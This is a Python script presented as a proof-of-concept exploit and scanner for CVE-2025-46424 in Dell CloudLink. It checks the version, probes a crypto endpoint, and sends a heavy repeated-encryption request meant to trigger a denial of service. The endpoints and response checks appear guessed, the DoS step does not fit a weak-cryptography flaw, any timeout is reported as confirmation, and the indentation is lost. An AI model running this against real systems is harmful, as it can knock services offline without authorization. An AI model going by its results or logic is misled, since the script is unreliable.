# CVE-2025-46424 PoC - Dell CloudLink Risky Cryptographic Primitive
# This PoC demonstrates the vulnerability in Dell CloudLink's cryptographic implementation
# Note: This is for educational and authorized testing purposes only
import requests
import json
import sys
from datetime import datetime
class DellCloudLinkCVE2025_46424PoC:
def __init__(self, target_url, api_key=None):
self.target_url = target_url.rstrip('/')
self.api_key = api_key
self.vulnerability_checked = False
def check_version(self):
"""
Check Dell CloudLink version to determine if vulnerable
Vulnerable versions: < 8.2
"""
try:
# API endpoint to check system version
version_url = f"{self.target_url}/api/v1/system/info"
headers = {'Authorization': f'Bearer {self.api_key}'} if self.api_key else {}
response = requests.get(version_url, headers=headers, timeout=10)
if response.status_code == 200:
data = response.json()
version = data.get('version', '0.0')
return self.parse_version(version)
else:
print(f"[!] Failed to retrieve version info: HTTP {response.status_code}")
return None
except requests.exceptions.RequestException as e:
print(f"[!] Connection error: {e}")
return None
def parse_version(self, version_str):
"""Parse version string to tuple for comparison"""
try:
parts = version_str.split('.')
return tuple(int(p) for p in parts[:3])
except:
return (0, 0, 0)
def test_crypto_primitive(self):
"""
Test for risky cryptographic primitives in Dell CloudLink
This checks for known weak crypto operations
"""
try:
# Endpoint that may use cryptographic operations
crypto_test_url = f"{self.target_url}/api/v1/crypto/test"
headers = {'Authorization': f'Bearer {self.api_key}'} if self.api_key else {}
# Test payload that might trigger the vulnerable crypto primitive
test_data = {
'operation': 'encrypt',
'data': 'SensitiveDataTest',
'mode': 'test'
}
response = requests.post(crypto_test_url, json=test_data,
headers=headers, timeout=10)
if response.status_code == 200:
result = response.json()
# Check if weak crypto is being used
if 'weak_algorithm' in result or 'deprecated_method' in result:
return True, result
return False, result
else:
return False, None
except requests.exceptions.RequestException as e:
print(f"[!] Crypto test error: {e}")
return False, None
def exploit_dos(self):
"""
Attempt to trigger DoS through vulnerable crypto primitive
Note: Only for authorized security testing
"""
try:
dos_url = f"{self.target_url}/api/v1/crypto/stress"
headers = {
'Authorization': f'Bearer {self.api_key}',
'Content-Type': 'application/json'
}
# Payload designed to stress the weak crypto implementation
dos_payload = {
'action': 'repeated_encrypt',
'iterations': 10000,
'data': 'A' * 1000
}
print("[*] Attempting to trigger crypto primitive vulnerability...")
response = requests.post(dos_url, json=dos_payload,
headers=headers, timeout=30)
if response.status_code == 200:
print("[+] Response received - vulnerability may be present")
return response.json()
else:
print(f"[*] Response: HTTP {response.status_code}")
return None
except requests.exceptions.Timeout:
print("[!] Request timeout - possible DoS vulnerability confirmed")
return {'timeout': True}
except Exception as e:
print(f"[!] Exploit error: {e}")
return None
def generate_report(self, version_info, crypto_test, dos_result):
"""Generate vulnerability assessment report"""
report = {
'cve_id': 'CVE-2025-46424',
'target': self.target_url,
'scan_time': datetime.now().isoformat(),
'version': version_info,
'is_vulnerable': False,
'risk_level': 'UNKNOWN',
'details': {}
}
if version_info:
major, minor, patch = version_info
if (major, minor, patch) < (8, 2, 0):
report['is_vulnerable'] = True
report['risk_level'] = 'MEDIUM'
report['details']['reason'] = 'Version < 8.2 is affected'
if crypto_test and crypto_test[0]:
report['details']['weak_crypto'] = crypto_test[1]
report['is_vulnerable'] = True
if dos_result:
report['details']['dos_triggered'] = True
report['risk_level'] = 'MEDIUM'
return report
def main():
if len(sys.argv) < 2:
print("Usage: python cve-2025-46424-poc.py <target_url> [api_key]")
print("Example: python cve-2025-46424-poc.py https://dell-cloudlink.local api_key_here")
sys.exit(1)
target = sys.argv[1]
api_key = sys.argv[2] if len(sys.argv) > 2 else None
print(f"[*] CVE-2025-46424 Vulnerability Scanner")
print(f"[*] Target: {target}")
print(f"[*] Starting scan at {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
scanner = DellCloudLinkCVE2025_46424PoC(target, api_key)
# Step 1: Check version
print("\n[1] Checking Dell CloudLink version...")
version = scanner.check_version()
if version:
version_str = '.'.join(map(str, version))
print(f" Detected version: {version_str}")
if version < (8, 2, 0):
print(" [!] Version is vulnerable (< 8.2)")
# Step 2: Test crypto primitives
print("\n[2] Testing cryptographic primitives...")
crypto_result = scanner.test_crypto_primitive()
if crypto_result[0]:
print(" [!] Weak cryptographic primitive detected!")
else:
print(" [+] No obvious weak crypto detected")
# Step 3: Attempt DoS trigger (authorized testing only)
print("\n[3] Checking for DoS vulnerability...")
dos_result = scanner.exploit_dos()
# Generate final report
print("\n[*] Generating vulnerability report...")
report = scanner.generate_report(version, crypto_result, dos_result)
print("\n" + "="*60)
print("VULNERABILITY ASSESSMENT REPORT")
print("="*60)
print(json.dumps(report, indent=2))
print("="*60)
if report['is_vulnerable']:
print("\n[!] CONCLUSION: Target is VULNERABLE to CVE-2025-46424")
print("[!] Recommended action: Upgrade to Dell CloudLink 8.2 or later")
else:
print("\n[+] CONCLUSION: Target appears to be NOT vulnerable")
if __name__ == '__main__':
main()